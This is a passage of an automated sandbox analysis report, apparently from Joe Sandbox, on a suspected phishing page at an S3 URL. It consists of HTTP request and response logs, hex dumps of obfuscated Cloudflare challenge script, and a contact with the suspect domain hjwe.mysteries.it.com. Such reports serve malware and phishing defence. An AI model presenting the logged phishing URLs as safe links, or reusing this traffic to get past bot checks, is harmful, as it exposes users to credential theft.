damentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","human_button_text":"Verify%20you%20are%20human","turnstile_footer_privacy":"Privacy","not_embedded":"This%20challenge%
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 51 2c 65 54 2c 65 56 2c 65 57 2c 65 58 2c 66 39 2c 66 6c 2c 66 72 2c 66 73 2c 66 74 2c 66 44 2c 66 4f 2c 66 53 2c 66 Data Ascii: trator%20if%20this%20problem%20persists."},"polyfills":{"feedback_report_output_subtitle":false,"feedback_report_guideline":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eQ,eT,eV,eW,eX,f9,fl,fr,fs,ft,fD,fO,fS,f
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 43 7c 7c 44 7d 2c 6a 5b 67 4d 28 33 33 30 29 5d 3d 67 4d 28 31 34 37 32 29 2c 6a 5b 67 4d 28 31 32 36 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 6a 5b 67 4d 28 36 39 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 6a 5b 67 4d 28 39 34 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 6a 5b 67 4d 28 34 38 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 6a 5b 67 4d 28 31 34 38 38 29 5d 3d 67 4d 28 31 35 31 34 29 2c 6a 5b 67 4d 28 31 33 30 36 29 5d 3d 67 4d 28 31 34 32 36 29 2c 6a 5b 67 4d 28 31 33 34 32 29 5d 3d 67 4d 28 32 34 38 29 2c 6a 29 3b 74 72 79 7b 69 66 28 6c Data Ascii: return C\|\|D},j[gM(330)]=gM(1472),j[gM(1269)]=function(C,D){return C+D},j[gM(695)]=function(C,D){return C+D},j[gM(946)]=function(C,D){return C+D},j[gM(489)]=function(C,D){return C+D},j[gM(1488)]=gM(1514),j[gM(1306)]=gM(1426),j[gM(1342)]=gM(248),j);try{if(l
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 38 31 36 29 5d 5b 67 4e 28 34 35 30 29 5d 28 29 2c 6a 5b 67 4e 28 37 36 31 29 5d 3d 21 21 5b 5d 29 3a 28 69 3d 6e 5b 31 5d 2c 6a 3d 70 61 72 73 65 49 6e 74 28 6e 5b 32 5d 2c 31 30 29 2c 6b 3d 70 61 72 73 65 49 6e 74 28 6e 5b 33 5d 2c 31 30 29 29 29 29 3b 65 6c 73 65 20 69 66 28 67 4e 28 31 34 32 32 29 21 3d 3d 67 4e 28 31 34 32 32 29 29 72 65 74 75 72 6e 3b 65 6c 73 65 20 68 3d 4a 53 4f 4e 5b 67 4e 28 34 38 37 29 5d 28 65 29 3b 72 65 74 75 72 6e 20 6f 3d 7b 7d 2c 6f 5b 67 4e 28 31 31 30 35 29 5d 3d 68 2c 6f 5b 67 4e 28 31 31 34 30 29 5d 3d 69 2c 6f 5b 67 4e 28 33 34 34 29 5d 3d 6a 2c 6f 5b 67 4e 28 31 34 39 31 29 5d 3d 6b 2c 6f 5b 67 4e 28 36 31 32 29 5d 3d 65 2c 6f 7d 2c 65 4d 5b 67 4a 28 31 37 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 Data Ascii: 816)][gN(450)](),j[gN(761)]=!![]):(i=n[1],j=parseInt(n[2],10),k=parseInt(n[3],10))));else if(gN(1422)!==gN(1422))return;else h=JSON[gN(487)](e);return o={},o[gN(1105)]=h,o[gN(1140)]=i,o[gN(344)]=j,o[gN(1491)]=k,o[gN(612)]=e,o},eM[gJ(176)]=function(e,f,g,h
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 66 72 29 7d 29 2c 66 74 3d 21 5b 5d 2c 21 65 55 28 67 4a 28 36 32 38 29 29 26 26 28 66 52 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 61 2c 63 2c 64 2c 65 29 7b 69 61 3d 67 4a 2c 63 3d 7b 27 75 52 4a 62 72 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 5a 4a 4a 5a 56 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 67 7d 2c 27 68 72 6f 55 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 69 61 28 31 32 33 32 29 5d 5b 69 61 28 37 34 31 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 69 61 28 31 31 30 34 29 5d 28 66 50 29 2c 21 65 4d 5b 69 61 28 37 36 31 29 5d 26 26 21 66 75 28 29 26 26 21 65 4d 5b 69 61 28 38 31 36 29 5d 5b 69 61 Data Ascii: fr)}),ft=![],!eU(gJ(628))&&(fR(),setInterval(function(ia,c,d,e){ia=gJ,c={'uRJbr':function(f){return f()},'ZJJZV':function(f,g){return f>g},'hroUj':function(f){return f()}},d=eM[ia(1232)][ia(741)]\|\|1e4,e=c[ia(1104)](fP),!eM[ia(761)]&&!fu()&&!eM[ia(816)][ia
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 39 38 29 5d 28 69 2c 36 35 35 33 35 29 29 2c 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 69 63 28 33 32 35 29 5d 28 27 27 29 7d 2c 65 4d 5b 67 4a 28 36 35 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 66 57 28 63 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 66 55 28 66 56 28 63 29 29 7d 7d 2c 66 58 3d 5b 5d 2c 66 59 3d 30 3b 32 35 36 3e 66 59 3b 66 58 5b 66 59 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 33 37 33 29 5d 28 66 59 29 2c 66 59 2b 2b 29 3b 67 48 3d 28 66 5a 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 36 35 37 29 29 2c 67 30 3d 61 74 6f 62 28 67 4a 28 37 33 37 29 29 2c 67 71 3d 7b 7d 2c 67 71 5b 67 4a 28 31 32 31 31 29 5d 3d 27 6f 27 2c 67 71 5b 67 4a 28 31 34 37 36 29 5d 3d 27 73 27 2c Data Ascii: 98)](i,65535)),65535)%255)));return k[ic(325)]('')},eM[gJ(658)]=function(c){try{return fW(c)}catch(e){return fU(fV(c))}},fX=[],fY=0;256>fY;fX[fY]=String[gJ(1373)](fY),fY++);gH=(fZ=(0,eval)(gJ(657)),g0=atob(gJ(737)),gq={},gq[gJ(1211)]='o',gq[gJ(1476)]='s',
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 29 5d 2c 4d 5b 6a 37 28 34 31 38 29 5d 3d 61 36 5b 6a 37 28 31 32 33 32 29 5d 5b 6a 37 28 34 31 38 29 5d 2c 4d 5b 6a 37 28 31 35 38 34 29 5d 3d 61 37 5b 6a 37 28 31 32 33 32 29 5d 5b 6a 37 28 32 36 30 29 5d 2c 4e 3d 4d 2c 4f 3d 6e 65 77 20 61 38 5b 28 6a 37 28 31 32 32 38 29 29 5d 28 29 2c 4f 5b 6a 37 28 31 35 32 31 29 5d 28 6f 5b 6a 37 28 37 37 39 29 5d 2c 4c 29 2c 4f 5b 6a 37 28 33 37 35 29 5d 3d 35 65 33 2c 4f 5b 6a 37 28 35 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 50 3d 7b 7d 2c 50 5b 6a 37 28 39 32 39 29 5d 3d 61 61 2c 50 5b 6a 37 28 36 33 36 29 5d 3d 4a 2c 50 2e 63 63 3d 61 62 2c 50 5b 6a 37 28 31 33 35 32 29 5d 3d 4b 2c 50 5b 6a 37 28 31 33 38 37 29 5d 3d 4e 2c 51 3d 61 39 5b 6a 37 28 34 38 37 29 5d 28 50 29 2c 4f 5b 6a 37 28 31 34 38 Data Ascii: )],M[j7(418)]=a6[j7(1232)][j7(418)],M[j7(1584)]=a7[j7(1232)][j7(260)],N=M,O=new a8[(j7(1228))](),O[j7(1521)](o[j7(779)],L),O[j7(375)]=5e3,O[j7(532)]=function(){},P={},P[j7(929)]=aa,P[j7(636)]=J,P.cc=ab,P[j7(1352)]=K,P[j7(1387)]=N,Q=a9[j7(487)](P),O[j7(148
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 41 7a 59 42 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 72 52 6f 63 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 44 50 70 6d 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 6a 47 61 41 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 68 71 67 57 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 76 70 4c 58 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 43 49 55 64 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 54 Data Ascii: {return i&h},'AzYBD':function(h,i){return i==h},'rRocX':function(h,i){return h<i},'DPpma':function(h,i){return h+i},'jGaAT':function(h,i){return h>i},'hqgWn':function(h,i){return h>i},'vpLXh':function(h,i){return i\|h},'CIUdO':function(h,i){return h<<i},'T
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 43 29 7b 72 65 74 75 72 6e 20 6a 43 3d 62 2c 6a 43 28 33 36 39 29 5b 6a 43 28 31 35 33 39 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6a 47 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 50 2c 51 2c 4c 2c 4d 2c 4e 29 7b 69 66 28 6a 47 3d 6a 42 2c 73 3d 7b 27 4f 75 67 6d 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 29 7b 72 65 74 75 72 6e 20 50 7c 4f 7d 2c 27 6a 71 5a 44 76 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 6a 44 29 7b 72 65 74 75 72 6e 20 6a 44 3d 62 2c 64 5b 6a 44 28 39 30 32 29 5d 28 4f 2c 50 29 7d 2c 27 45 58 61 6c 76 27 3a 66 75 6e 63 74 Data Ascii: tion(h){return h==null?'':f.g(h,6,function(i,jC){return jC=b,jC(369)[jC(1539)](i)})},'g':function(i,j,o,jG,s,x,B,C,D,E,F,G,H,I,J,K,P,Q,L,M,N){if(jG=jB,s={'OugmM':function(O,P){return P\|O},'jqZDv':function(O,P,jD){return jD=b,d[jD(902)](O,P)},'EXalv':funct

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:05 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:05 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:05 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 92573c842e3e4544-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:05 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:05 UTC	657	OUT	GET /favicon.ico HTTP/1.1 Host: hjwe.mysteries.it.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hjwe.mysteries.it.com/xT1tH/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=72llpglsob3m63vdvrr151t61v
2025-03-24 15:35:06 UTC	841	IN	HTTP/1.1 404 Not Found Date: Mon, 24 Mar 2025 15:35:06 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CrZDlLHUBGdiuvW2MJFAjjkeW4pbCTMhblGsPpqwLUrr16asu4lELLCHuFGKJtGqUFrE76hfLyR0VFMzwsqamp1JiK9%2BXq%2Bgzz2T31oRvPgpSLnRI5pk4vxNkwMW5uLMHTKtdz6jVnU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92573c86bd177290-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106687&min_rtt=105134&rtt_var=23786&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1229&delivery_rate=35421&cwnd=224&unsent_bytes=0&cid=0dfcf9276d14d5dd&ts=3433&x=0"
2025-03-24 15:35:06 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-03-24 15:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:06 UTC	1190	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/967006753:1742826353:dd6lycDHrMiFpFhUld71f2KLHu4ARw8T4yTNB_qejcI/92573c80ae338186/PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3638 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: PGMUNOju1mmj3BFSSnnumGPmksoitECfu1BkoyPLUFk-1742830505-1.1.1.1-hPuzqgywLINFK3LrsKPLy8q5B5cdv0SxAe2yYdTzQJgHfn3ad8hx0n9S_hkofFE4 cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:06 UTC	3638	OUT	Data Raw: 72 5a 68 37 62 37 48 37 31 37 68 37 58 70 54 43 70 54 39 37 70 4c 52 44 77 6a 70 41 54 77 54 67 4f 4c 73 74 66 54 65 6d 44 37 24 66 52 6d 54 6b 54 33 66 77 44 2d 66 6f 48 59 2d 54 41 66 73 2d 54 49 54 72 64 37 54 62 6d 37 54 32 73 54 32 34 5a 6f 6c 54 31 68 36 6d 6d 2d 73 66 52 7a 54 76 4c 52 67 54 31 71 76 36 36 54 6c 2b 6d 6f 6c 4e 42 63 72 32 54 63 6d 42 6a 4e 56 54 72 4c 70 48 32 75 65 32 76 74 52 59 32 79 34 45 57 36 78 37 54 5a 42 70 37 6f 73 73 70 34 32 54 33 66 54 76 37 4d 54 59 53 35 77 77 70 37 51 6d 41 71 48 6c 41 6a 37 74 47 6d 59 53 37 4c 54 59 75 54 4e 33 6c 66 39 54 52 74 6f 58 71 5a 4c 49 38 4c 4b 59 4d 54 2b 54 54 6a 4b 54 52 2d 52 32 6f 39 71 54 77 74 39 4a 4c 54 35 54 70 6d 5a 62 2d 2d 54 39 4c 54 36 54 70 59 45 70 33 37 78 54 54 4e 6f Data Ascii: rZh7b7H717h7XpTCpT97pLRDwjpATwTgOLstfTemD7$fRmTkT3fwD-foHY-TAfs-TITrd7Tbm7T2sT24ZolT1h6mm-sfRzTvLRgT1qv66Tl+molNBcr2TcmBjNVTrLpH2ue2vtRY2y4EW6x7TZBp7ossp42T3fTv7MTYS5wwp7QmAqHlAj7tGmYS7LTYuTN3lf9TRtoXqZLI8LKYMT+TTjKTR-R2o9qTwt9JLT5TpmZb--T9LT6TpYEp37xTTNo
2025-03-24 15:35:06 UTC	1051	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 228472 Connection: close cf-chl-gen: s14gC6I30ubgOoOwTQPUJHVjb6gfC2VBzJXjB6f5/+mLO0DwFmKJIvOVkyzf68RzNmjmzOi393rs1a4fSPh6DZwoBuVBn52Cq1WMMNMUbB1QO4CwmnPMfRjRReXz7MVYm5esk+eg3RxseaN56/EQs75/mWqE97SPsP6gSgSP3Li5cpfYmt+zhXvJ9eqFoYRzb4+1VLPHDuLBMmmvQv9o5MegMsiT+xjmPMujyi3Wxp4Ej3zAvPCvvlrUFADW6uUJD+M1Hy+ofFLJGaxzugmO28P/40C7fQJKhGzCewH36UTK2a2BydWfdarl/ZSL/wXbbCl1CiBimmUwzRGGXh1lSf5bctoTeLZaz58irGOHyL/TO6AH8ZVLFSyBMw/j3qYGZj2rTVgzD6suz6U7JomOvJ9YxKeCTj0+MSCo2m3csyx5NC79HkWHelgt0+c/hOoVWnBVG3SYPMFfRDrvEqU0uByO56Pqbx1jGJcXsAEPxBvTfewm6BMxv657IshCYmRhfnR9jbncoRXvGbWHFMMWpgmTCVFYf3jqkO9n6MamNXTzpQ6DwAsJ6P4zjmEL4mVBL5LTpz6NEudTeIajmgp16s8scxAHuSFvBGncSnMogTaab5xXA1BpQoys0UZDcCtnIhQZbLjpry+m7Euh49L6V7aPlDTHBxVeVvE2zyImhrVEVBhwih5g3I4XN3DlgFRjVHzJ7mkuGsC0nVwQEVeZB/2FjsrdPDeIj5VntSmayDpu12okdCAfSGaZJrffXIIltzocuSFlVFCp4Pe/mJvuKQ==$IH5eagOQmYJmaKh13o33wQ== Server: cloudflare CF-RAY: 92573c88ffba7539-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:06 UTC	318	IN	Data Raw: 62 31 4b 4c 69 5a 42 6d 6a 6c 52 7a 6b 47 39 72 62 58 6c 66 66 36 4f 66 67 70 36 6b 6b 35 52 66 69 5a 32 74 72 58 36 72 71 61 53 32 6f 48 61 55 62 48 4a 33 6a 33 79 75 6b 35 4c 43 6c 71 4b 31 78 49 2b 52 6e 35 61 33 68 36 72 4a 70 4a 72 50 30 63 43 78 71 36 4b 74 6b 38 6a 58 78 4e 6a 52 33 4d 66 4a 71 74 32 32 6e 65 50 42 31 5a 37 6c 74 37 2f 63 35 2b 7a 58 7a 63 65 37 33 36 2f 6a 38 4e 2f 67 38 66 6a 4e 37 50 76 31 76 73 33 58 79 39 6d 2f 38 72 34 41 41 51 66 43 42 41 55 42 42 2f 72 34 42 68 44 39 34 65 76 65 79 64 50 31 30 51 51 65 35 68 6e 70 33 4f 33 77 2f 42 51 54 44 79 62 34 38 78 34 41 43 79 77 70 49 69 54 73 37 43 49 65 4d 67 59 77 39 54 45 79 4e 44 6b 34 4e 79 77 50 4e 54 6f 58 50 42 77 50 50 79 51 57 52 52 38 65 48 7a 74 44 4f 79 51 73 4a 69 64 Data Ascii: b1KLiZBmjlRzkG9rbXlff6Ofgp6kk5RfiZ2trX6rqaS2oHaUbHJ3j3yuk5LClqK1xI+Rn5a3h6rJpJrP0cCxq6Ktk8jXxNjR3MfJqt22nePB1Z7lt7/c5+zXzce736/j8N/g8fjN7Pv1vs3Xy9m/8r4AAQfCBAUBB/r4BhD94eveydP10QQe5hnp3O3w/BQTDyb48x4ACywpIiTs7CIeMgYw9TEyNDk4NywPNToXPBwPPyQWRR8eHztDOyQsJid
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 42 63 56 6c 35 45 64 59 4f 46 69 59 79 49 5a 46 2b 51 53 6d 61 4a 6c 49 39 72 59 34 2b 5a 65 46 68 76 58 59 39 7a 6c 4a 78 69 6f 61 43 66 65 33 47 56 6b 36 65 42 68 57 47 43 66 33 78 39 6f 48 43 54 74 4c 43 54 75 62 6d 6b 6d 70 53 49 74 35 79 50 76 5a 65 34 6b 4c 50 44 68 4a 75 4a 75 35 2f 42 79 61 4b 72 7a 73 71 2b 6f 71 79 67 7a 37 53 6e 31 61 2f 51 71 4d 76 62 6e 4c 43 68 30 38 4f 6a 35 64 48 44 34 65 58 44 71 38 2f 6e 32 37 72 49 76 50 43 77 35 50 54 67 34 62 66 79 30 4d 76 77 39 76 6a 73 32 4e 4c 61 77 50 51 42 32 67 62 48 41 77 55 44 31 67 37 35 32 78 45 4f 42 2f 49 4e 30 51 63 44 46 2b 67 47 46 2b 63 62 38 68 59 68 32 53 41 61 48 74 37 30 35 50 6a 70 48 42 76 33 4a 79 72 70 43 51 4d 47 45 51 51 79 44 41 73 49 4a 42 4c 34 44 66 30 77 49 41 42 43 4c Data Ascii: BcVl5EdYOFiYyIZF+QSmaJlI9rY4+ZeFhvXY9zlJxioaCfe3GVk6eBhWGCf3x9oHCTtLCTubmkmpSIt5yPvZe4kLPDhJuJu5/ByaKrzsq+oqygz7Sn1a/QqMvbnLCh08Oj5dHD4eXDq8/n27rIvPCw5PTg4bfy0Mvw9vjs2NLawPQB2gbHAwUD1g752xEOB/IN0QcDF+gGF+cb8hYh2SAaHt705PjpHBv3JyrpCQMGEQQyDAsIJBL4Df0wIABCL
2025-03-24 15:35:06 UTC	1369	IN	Data Raw: 48 64 34 4e 2f 69 33 75 47 67 34 39 2f 6a 59 65 54 67 31 69 4c 6c 34 64 64 6e 6c 69 57 63 5a 4b 58 6b 56 79 6d 59 34 4e 34 69 47 4b 6d 61 62 42 73 72 57 32 30 63 58 39 78 75 48 52 72 64 62 78 33 6d 33 6e 41 65 35 4e 39 78 48 2b 61 77 6e 2b 38 66 35 53 6d 75 38 37 4b 6d 38 6a 4b 6e 73 71 6d 74 4b 36 4e 6f 70 65 70 71 37 6a 51 74 4b 32 53 6e 4c 7a 66 6f 71 2f 67 34 2b 44 52 33 36 48 6e 34 65 57 6e 79 61 6e 71 71 76 4b 72 73 65 33 68 7a 4d 37 6b 75 38 37 55 7a 62 4b 38 33 41 50 45 42 72 67 47 38 65 6a 4b 33 67 66 33 2b 75 63 44 7a 4f 44 52 42 4e 50 65 46 4d 6f 4b 44 68 58 75 43 68 34 59 43 75 76 67 38 67 54 34 41 50 4d 41 45 68 4d 69 44 75 72 34 39 78 2f 6a 42 65 73 31 49 67 6e 76 4f 53 49 4e 38 7a 30 79 45 66 64 43 50 68 58 37 52 6b 63 57 4a 6a 4d 32 47 53 Data Ascii: 